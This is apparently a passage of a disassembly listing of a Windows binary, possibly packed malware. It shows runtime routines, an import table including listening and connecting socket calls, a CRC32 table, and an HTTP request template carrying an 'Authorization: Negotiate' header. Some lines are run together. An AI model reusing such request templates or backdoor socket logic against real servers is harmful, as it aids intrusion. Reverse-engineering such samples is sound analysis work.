loc_41C9B9: ; CODE XREF: sub_41C994+1Cj
jmp loc_41C9CA
sub_41C994 endp
; =============== S U B R O U T I N E =======================================
sub_41C9BE proc near ; CODE XREF: sub_41C994:loc_41C9A4p
push offset nullsub_1
call sub_413210
pop ecx
retn
sub_41C9BE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C994
loc_41C9CA: ; CODE XREF: sub_41C994:loc_41C9B9j
push offset nullsub_1
call sub_413210
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_41C994
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41C9D6 proc near ; CODE XREF: sub_402E17+5Ep
; sub_403A5B+159p
jmp dword_41D1E4
sub_41C9D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41C9DC proc near ; CODE XREF: sub_412A9C+23p
; sub_412D40+13p
jmp dword_41D14C
sub_41C9DC endp
; =============== S U B R O U T I N E =======================================
sub_41C9E2 proc near ; DATA XREF: .nsp0:off_41DC8Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_41CA85
test [esp+4+arg_0], 1
jz short loc_41C9F8
push esi
call sub_412E4F
pop ecx
loc_41C9F8: ; CODE XREF: sub_41C9E2+Dj
mov eax, esi
pop esi
retn 4
sub_41C9E2 endp
; =============== S U B R O U T I N E =======================================
sub_41C9FE proc near ; CODE XREF: sub_41C6DA+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_41DC8C
push dword ptr [edi]
call sub_4126F0
inc eax
push eax
call sub_413195
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_41CA2D
push dword ptr [edi]
push eax
call sub_412600
pop ecx
pop ecx
loc_41CA2D: ; CODE XREF: sub_41C9FE+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_41C9FE endp
; =============== S U B R O U T I N E =======================================
sub_41CA3B proc near ; CODE XREF: sub_41C7C1+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_41DC8C
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_41CA78
push dword ptr [edi+4]
call sub_4126F0
inc eax
push eax
call sub_413195
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_41CA7E
push dword ptr [edi+4]
push eax
call sub_412600
pop ecx
pop ecx
jmp short loc_41CA7E
; ---------------------------------------------------------------------------
loc_41CA78: ; CODE XREF: sub_41CA3B+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_41CA7E: ; CODE XREF: sub_41CA3B+2Ej
; sub_41CA3B+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_41CA3B endp
; =============== S U B R O U T I N E =======================================
sub_41CA85 proc near ; CODE XREF: sub_41C768+2Bp
; sub_41C81E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_41DC8C
jz short locret_41CA9A
push dword ptr [ecx+4]
call sub_412E4F
pop ecx
locret_41CA9A: ; CODE XREF: sub_41CA85+Aj
retn
sub_41CA85 endp
; ---------------------------------------------------------------------------
mov eax, [ecx+4]
test eax, eax
jnz short locret_41CAA7
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_41CAA7: ; CODE XREF: .nsp0:0041CAA0j
retn
; =============== S U B R O U T I N E =======================================
sub_41CAA8 proc near ; CODE XREF: .nsp0:0041CAC0p
mov dword ptr [ecx], offset off_41DCAC
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_41CABC
push ecx
call sub_412813
pop ecx
locret_41CABC: ; CODE XREF: sub_41CAA8+Bj
retn
sub_41CAA8 endp
; ---------------------------------------------------------------------------
loc_41CABD: ; DATA XREF: .nsp0:off_41DCACo
push esi
mov esi, ecx
call sub_41CAA8
test byte ptr [esp+8], 1
jz short loc_41CAD3
push esi
call sub_412E4F
pop ecx
loc_41CAD3: ; CODE XREF: .nsp0:0041CACAj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAD9 proc near ; CODE XREF: sub_41C680+54p
; sub_41C74B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_41DCB0
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_41D17C ; RaiseException
pop edi
pop esi
leave
retn 8
sub_41CAD9 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41CB14 proc near ; DATA XREF: .nsp0:0041DE7Co
; FUNCTION CHUNK AT 004034BF SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_4034BF
sub_41CB14 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_41CB32
mov ecx, [ebp+8]
jmp loc_4034BF
; ---------------------------------------------------------------------------
locret_41CB32: ; CODE XREF: .nsp0:0041CB24j
retn
; ---------------------------------------------------------------------------
loc_41CB33: ; DATA XREF: sub_403053o
mov eax, offset dword_41DE50
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+14h]
jmp loc_4034BF
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_41CB50: ; DATA XREF: sub_4031F5o
mov eax, offset dword_41DE80
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 4
loc_41CB5C: ; DATA XREF: sub_4037A2o
mov eax, offset dword_41DEB0
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_41CB70: ; DATA XREF: sub_41C680o
mov eax, offset dword_41DF88
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-14h]
jmp sub_41CA85
; ---------------------------------------------------------------------------
loc_41CB84: ; DATA XREF: sub_41C6DAo
mov eax, offset dword_41DFB0
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_41CA85
; ---------------------------------------------------------------------------
loc_41CB98: ; DATA XREF: sub_41C768o
mov eax, offset dword_41DFF8
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_41CA85
; ---------------------------------------------------------------------------
loc_41CBAC: ; DATA XREF: sub_41C7C1o
mov eax, offset dword_41E020
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_41CA85
; ---------------------------------------------------------------------------
loc_41CBC0: ; DATA XREF: sub_41C81Eo
mov eax, offset dword_41E048
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_41CBD4: ; DATA XREF: sub_41C8ACo
mov eax, offset dword_41E0B0
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_41CA85
; ---------------------------------------------------------------------------
loc_41CBE8: ; DATA XREF: sub_41C906o
mov eax, offset dword_41E0D8
jmp loc_412AEB
; ---------------------------------------------------------------------------
align 4
dd 103h dup(0)
dd 7C80DDFEh, 7C833478h
dword_41D008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_41C115+261r
dword_41D00C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_41C115+B9r
dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_41D01C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41A826+6r
dd 7C812641h, 7C81DC03h
dword_41D028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; .nsp0:00419BF1r
dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_41D03C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_41D040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_419243+E1r
dd 7C80C058h
dword_41D048 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; .nsp0:00401C13r ...
dd 7C80A427h, 7C82FA46h, 7C814EEAh
dword_41D058 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_408E17+Dr ...
dword_41D05C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_4032B0+19Cr ...
dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_41D06C dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; .nsp0:loc_405A04r ...
dword_41D070 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; .nsp0:004059D6r ...
dword_41D074 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_407C23+68o ...
dd 7C810A77h
dword_41D07C dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_405084+25r ...
dword_41D080 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; .nsp0:00409C99r ...
dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_41D090 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_404A02+5D7r ...
dword_41D094 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_406774+26r
dword_41D098 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; .nsp0:00408637r ...
dword_41D09C dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_41844F+4Fr
dword_41D0A0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41D0A4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_41D0A8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41D0AC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_405FF1+22Fr
dword_41D0B0 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4068C6:loc_406DB6r ...
dword_41D0B4 dd 3E7574h ; sub_4167BF+16o ...
dword_41D0B8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C82F7A0h
dword_41D0C0 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_41D0C4 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh
dd 7C81AE17h, 7C85F90Fh
dd 7C80DDF5h
dd 7C81E0C7h
dword_41D100 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; .nsp0:00410F4Cr
dd 7C8310F2h
dword_41D108 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; .nsp0:00409AE5r ...
dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h
dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_41D12C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; .nsp0:0041884Er ...
dword_41D130 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4142C9+54r ...
dd 7C8216A4h, 7C801E16h
dword_41D13C dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA dd 7C830B14h
dword_41D144 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_413D8F+AFr ...
dword_41D148 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_4153F8+2C4r ...
dword_41D14C dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh
dword_41D158 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_415A2C+28r
dd 7C801EEEh, 7C812F1Dh
dword_41D164 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_41D168 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_41D16C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_41D170 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_41D174 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_415ADD+51r
dd 7C809E79h
dword_41D17C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_41CAD9+2Er
dword_41D180 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap dd 7C838DE8h
dword_41D188 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; .nsp0:0041878Er ...
dd 7C812E76h, 7C809915h, 7C8127A7h
dword_41D198 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter dd 7C81DF77h
dword_41D1A0 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW align 8
dword_41D1A8 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_4040DB+8Er
dword_41D1AC dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40405E+15r
dword_41D1B0 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_41D1B4 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_41D1B8 dd 71AB3E00h ; resolved to->WS2_32.binddword_41D1BC dd 71AB88D3h ; resolved to->WS2_32.listendword_41D1C0 dd 71AC1028h ; resolved to->WS2_32.acceptdword_41D1C4 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40405E+35r
dword_41D1C8 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_403A5B+B3r ...
dword_41D1CC dd 71AB406Ah ; resolved to->WS2_32.connect ; .nsp0:004039E4r ...
dword_41D1D0 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_403A5B+1F0r
dword_41D1D4 dd 71AB9639h ; resolved to->WS2_32.closesocket ; .nsp0:loc_403A0Br ...
dword_41D1D8 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_4038B1+45r ...
dword_41D1DC dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4038B1+C3r ...
dword_41D1E0 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_403A5B+115r
dword_41D1E4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet align 10h
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4031F5+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_41D230 dq 1.388888888888889e-2 ; DATA XREF: sub_403007+2Fr
dbl_41D238 dq 1.666666666666667e-1 ; DATA XREF: sub_403007+15r
dword_41D240 dd 0FFFFFFFFh ; sub_4034C7r ...
align 8
dbl_41D248 dq 1.333333333333333 ; DATA XREF: sub_403053+79r
dword_41D250 dd 0 ; sub_403577+5Bo ...
dword_41D254 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dd 0
dbl_41D658 dq 9.765625e-4 ; DATA XREF: .nsp0:00409418r
; .nsp0:00409433r ...
dbl_41D660 dq -3.0517578125e-5 ; DATA XREF: sub_410D3D+1Er
dbl_41D668 dq 1.0 ; DATA XREF: sub_412842+6Cr
; sub_41298B+6Cr ...
dword_41D670 dd 0FFFFFFFFh, 41449Fh, 4144B3hbyte_41D67C db 6 ; DATA XREF: sub_41461C:loc_414673r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .nsp0:off_4314ACo
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_4314A8o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .nsp0:off_4316D4o
align 8
dbl_41D7A8 dq 0.0 ; DATA XREF: sub_41626C+8Cr
; sub_41626C+ACr ...
dbl_41D7B0 dq 4.195835e6 ; DATA XREF: sub_416781+Fr
dbl_41D7B8 dq 3.145727e6 ; DATA XREF: sub_416781+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4167BFo
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_4168E6+93o
align 10h
dword_41D7F0 dd 0FFFFFFFFh, 416FD1h, 416FDBh, 0dword_41D800 dd 0FFFFFFFFh, 0 dd offset loc_417157
align 10h
dd offset sub_417135
dd offset sub_41713F
dword_41D818 dd 0FFFFFFFFh, 417387h, 41738Bh, 0dword_41D828 dd 0FFFFFFFFh, 4173E9h, 4173F2h, 0dword_41D838 dd 0FFFFFFFFh, 0 dd offset loc_4174BD
align 8
dd offset loc_4174A9
dd offset loc_4174AD
dword_41D850 dd 0FFFFFFFFh, 0 dd offset loc_417513
align 10h
dd offset loc_4174FF
dd offset loc_417503
dword_41D868 dd 2 dup(0) ; .nsp0:00419AFDo ...
dword_41D870 dd 0FFFFFFFFh, 418751h, 418755h, 0FFFFFFFFh, 418805h, 418809h
; DATA XREF: .nsp0:00418646o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_431B1Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_419639+119o
align 4
asc_41DB38 db 0Ah ; DATA XREF: sub_419639+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_419639+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_419639+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_419639+7Do
align 8
dword_41DB78 dd 0FFFFFFFFh, 419BBDh, 419BC1haSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_41AA32+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41AFBE+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41AFBE+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41AFBE+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41B8D4:loc_41B9C9o
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_41B8D4+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_41B8D4+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_41B8D4+ADo
align 4
dword_41DC18 dd 0FFFFFFFFh, 41C2CCh, 41C2D0h, 0FFFFFFFFh, 41C33Bh, 41C33Fh
; DATA XREF: sub_41C115+5o
dd 41DD38h
off_41DC34 dd offset loc_41C878 ; DATA XREF: sub_41C680+4Do
; sub_41C894+Co
dd offset sub_41C73E
dd offset sub_41C85B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_41C680+1Eo
dd offset dword_41DD70
off_41DC54 dd offset loc_41C7A5 ; DATA XREF: sub_41C6DA+4Eo
; sub_41C768+11o ...
dd offset sub_41C73E
dd offset sub_41C74B
dd offset dword_41DDC0
off_41DC64 dd offset loc_41C960 ; DATA XREF: sub_41C8AC+4Do
; sub_41C97C+Co
dd offset sub_41C73E
dd offset sub_41C943
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41C8AC+1Eo
dd offset dword_41DDF0
off_41DC8C dd offset sub_41C9E2 ; DATA XREF: sub_41C9FE+8o
; sub_41CA3B+8o ...
; ---------------------------------------------------------------------------
wait
retf 41h
; ---------------------------------------------------------------------------
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: .nsp0:0041CAA2o
align 4
dd offset dword_41DE38
off_41DCAC dd offset loc_41CABD ; DATA XREF: sub_41CAA8o
; .nsp0:off_432240o ...
dword_41DCB0 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
off_41DCD0 dd offset off_432240 ; DATA XREF: .nsp0:0041DD20o
; .nsp0:0041DD54o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_41DCE8 dd offset off_432258 ; DATA XREF: .nsp0:0041DD1Co
; .nsp0:0041DD50o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_41DD00 dd offset off_432278 ; DATA XREF: .nsp0:0041DD18o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_41DD00
dd offset off_41DCE8
dd offset off_41DCD0
dd 0
db 0 ; DATA XREF: .nsp0:0041DD48o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 41DD18h, 3 dup(0)
dd offset off_432278
dd offset unk_41DD28
align 10h
dd offset off_41DCE8
dd offset off_41DCD0
dword_41DD58 dd 4 dup(0) dd 2, 41DD50h
dword_41DD70 dd 3 dup(0) dd offset off_432258
dd offset dword_41DD58+8
align 8
off_41DD88 dd offset off_432298 ; DATA XREF: .nsp0:0041DDA0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_41DD88
dd offset off_41DCE8
dd offset off_41DCD0
dword_41DDAC dd 3 dup(0) dd 3, 41DDA0h
dword_41DDC0 dd 3 dup(0) dd offset off_432298
dd offset dword_41DDAC+4
dd offset off_41DCD0
dword_41DDD8 dd 4 dup(0) dd 1, 41DDD4h
dword_41DDF0 dd 3 dup(0) dd offset off_432240
dd offset dword_41DDD8+8
align 8
off_41DE08 dd offset off_4322B8 ; DATA XREF: .nsp0:0041DE20o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_41DE08
dd 0
db 0 ; DATA XREF: .nsp0:0041DE48o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 41DE20h
dword_41DE38 dd 3 dup(0) dd offset off_4322B8
dd offset unk_41DE28
align 10h
